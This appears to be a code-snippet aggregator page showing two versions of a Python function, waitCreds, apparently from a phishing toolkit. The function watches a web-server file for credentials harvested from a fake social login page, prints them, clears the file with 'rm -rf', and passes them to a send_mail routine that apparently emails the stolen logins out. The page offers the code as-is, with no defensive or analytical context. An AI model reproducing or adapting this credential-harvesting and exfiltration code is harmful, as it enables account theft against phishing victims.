Exemplo n.º 1
0
def waitCreds():
    print(bold(red(" [*] Waiting for credentials... ")))
    while True:
        with open('base/Server/www/cat.txt') as creds:
            lines = creds.read().rstrip()
        if len(lines) != 0:
            print(bold(green('\n [*] Credentials found:\n %s' % lines)))
            os.system('rm -rf base/Server/www/cat.txt && touch base/Server/www/cat.txt')
            try:
                credentials(lines.split('\n'), _social)
                send_mail(lines.split('\n'),_social)
            except NameError:
                pass         
            except SMTPSenderRefused:
                print(red(' [!] Sorry, sender refused :('))
                pass
            except SMTPServerDisconnected:
                pass
Exemplo n.º 2
0
def waitCreds():
    print(cyan(" [*] Esperando informacion... "))
    while True:
        with open('base/Server/www/cat.txt') as creds:
            lines = creds.read().rstrip()
        if len(lines) != 0:
            print(green('\n [*] Informacion encontrada:\n %s' % lines))
            os.system(
                'rm -rf base/Server/www/cat.txt && touch base/Server/www/cat.txt'
            )
            try:
                credentials(lines.split('\n'), _social)
                send_mail(lines.split('\n'), _social)
            except NameError:
                pass
            except SMTPSenderRefused:
                print(red(' [!] Sorry, sender refused :('))
                pass
            except SMTPServerDisconnected:
                pass